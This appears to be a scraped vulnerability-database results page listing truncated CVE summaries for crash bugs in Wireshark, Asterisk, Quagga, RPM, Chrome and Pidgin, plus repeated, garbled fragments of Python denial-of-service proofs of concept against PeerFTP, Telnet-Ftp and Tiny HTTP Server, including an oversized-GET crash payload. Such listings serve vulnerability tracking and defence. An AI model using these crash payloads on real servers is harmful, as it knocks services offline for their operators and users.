Wireshark: Use-after-free causes heap-based buffer overflow in X.509if dissector

The X.509if dissector in Wireshark 1.2.x before 1.2.16 and 1.4.x before 1.4.5 does not properly initialize certain global variables, which allows remote attackers to cause a denial of service application crash via a crafted .pcap file...

asterisk -- multiple vulnerabilities

Asterisk project reports: Remote Crash Vulnerability in SIP Channel Driver Heap Buffer Overflow in Skinny Channel Driver Asterisk Manager User Unauthorized Shell Access...

DEBIAN-CVE-2012-0041

The dissectpacket function in epan/packet.c in Wireshark 1.4.x before 1.4.11 and 1.6.x before 1.6.5 allows remote attackers to cause a denial of service application crash via a long packet in a capture file, as demonstrated by an airopeek file...

DEBIAN-CVE-2012-0043

Buffer overflow in the reassemblemessage function in epan/dissectors/packet-rlc.c in the RLC dissector in Wireshark 1.4.x before 1.4.11 and 1.6.x before 1.6.5 allows remote attackers to cause a denial of service application crash or possibly execute arbitrary code via a series of fragmented RLC...

AZL-44247 CVE-2012-0250 affecting package quagga 1.2.4-16

Buffer overflow in the OSPFv2 implementation in ospfd in Quagga before 0.99.20.1 allows remote attackers to cause a denial of service daemon crash via a Link State Update aka LS Update packet containing a network-LSA link-state advertisement for which the data-structure length is smaller than the...

CVE-2012-0815

The headerVerifyInfo function in lib/header.c in RPM before 4.9.1.3 allows remote attackers to cause a denial of service crash and possibly execute arbitrary code via a negative value in a region offset of a package header, which is not properly handled in a numeric range comparison...

Asterisk SRTP Video Stream Negotiation Remote Crash (AST-2012-001)

According to the version in its SIP banner, the version of Asterisk running on the remote host is potentially affected by a vulnerability that could allow a remote attacker to crash the server. The vulnerability can be triggered by attempting to negotiate a secure video stream when it has not bee...

PeerFTP Server <=v4.01 Remote Crash PoC

Exploit for windows platform in category dos / poc !/usr/bin/python PeerFTP Server \n" %sys.argv0 sys.exit def checkDefaultUserusername,password: if username == '': username = "anonymous" if password == '': password = "email protected" else: pass return username,password def createUser: username ...

PeerFTP Server 4.01 - Remote Crash (PoC)

PeerFTP Server 4.01 - Remote Crash PoC !/usr/bin/python PeerFTP Server \n" %sys.argv0 sys.exit def checkDefaultUserusername,password: if username == '': username = "anonymous" if password == '': password = "[email protected]" else: pass return username,password def createUser: username =...

PeerFTP Server 4.01 Denial Of Service

!/usr/bin/python PeerFTP Server \n" %sys.argv0 sys.exit def checkDefaultUserusername,password: if username == '': username = "anonymous" if password == '': password = "[email protected]" else: pass return username,password def createUser: username = rawinput"! Insert username default: anonymous ...

PeerFTP Server 4.01 - Remote Crash (PoC)

!/usr/bin/python PeerFTP Server \n" %sys.argv0 sys.exit def checkDefaultUserusername,password: if username == '': username = "anonymous" if password == '': password = "[email protected]" else: pass return username,password def createUser: username = rawinput"! Insert username default: anonymous ...

Telnet-Ftp Server <= v1.218 Remote Crash PoC

Exploit for windows platform in category dos / poc !/usr/bin/python Telnet-Ftp Server \n" %sys.argv0 sys.exit def checkDefaultUserusername,password: if username == '' and password == '': username = "anonymous" password = "email protected" else: pass return username,password def createUser: userna...

FreeBSD : asterisk -- multiple vulnerabilities (0d530174-6eef-11e1-afd6-14dae9ebcf89)

Asterisk project reports : Stack Buffer Overflow in HTTP Manager Remote Crash Vulnerability in Milliwatt Application %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted from the FreeBSD VuXML database : Copyright 2003-2018...

asterisk -- multiple vulnerabilities

Asterisk project reports: Stack Buffer Overflow in HTTP Manager Remote Crash Vulnerability in Milliwatt Application...

Tiny HTTP Server 1.1.9 - Remote Crash (PoC)

!/usr/bin/python Tiny HTTP Server \n" %sys.argv0 sys.exit payload = "X" 658 try: print "\n! Connecting to %s ..." %sys.argv1 httpServ = httplib.HTTPConnectionsys.argv1 , intsys.argv2 httpServ.connect print "! Sending payload..." httpServ.request'GET', "/" + strpayload print "! Exploit succeed...

Tiny HTTP Server <=v1.1.9 Remote Crash PoC

Exploit for windows platform in category dos / poc !/usr/bin/python Tiny HTTP Server \n" %sys.argv0 sys.exit payload = "X" 658 try: print "\n! Connecting to %s ..." %sys.argv1 httpServ = httplib.HTTPConnectionsys.argv1 , intsys.argv2 httpServ.connect print "! Sending payload..."...

Tiny HTTP Server 1.1.9 - Remote Crash (PoC)

Tiny HTTP Server 1.1.9 - Remote Crash PoC !/usr/bin/python Tiny HTTP Server \n" %sys.argv0 sys.exit payload = "X" 658 try: print "\n! Connecting to %s ..." %sys.argv1 httpServ = httplib.HTTPConnectionsys.argv1 , intsys.argv2 httpServ.connect print "! Sending payload..." httpServ.request'GET', "/"...

Tiny HTTP Server 1.1.9 Crash

!/usr/bin/python Tiny HTTP Server \n" %sys.argv0 sys.exit payload = "X" 658 try: print "\n! Connecting to %s ..." %sys.argv1 httpServ = httplib.HTTPConnectionsys.argv1 , intsys.argv2 httpServ.connect print "! Sending payload..." httpServ.request'GET', "/" + strpayload print "! Exploit succeed...

CVE-2011-3024

Google Chrome before 17.0.963.56 allows remote attackers to cause a denial of service application crash via an empty X.509 certificate...

pidgin: SILC remote crash on channel messages

The silcchannelmessage function in ops.c in the SILC protocol plugin in libpurple in Pidgin before 2.10.1 does not perform the expected UTF-8 validation on message data, which allows remote attackers to cause a denial of service application crash via a crafted message, a different vulnerability...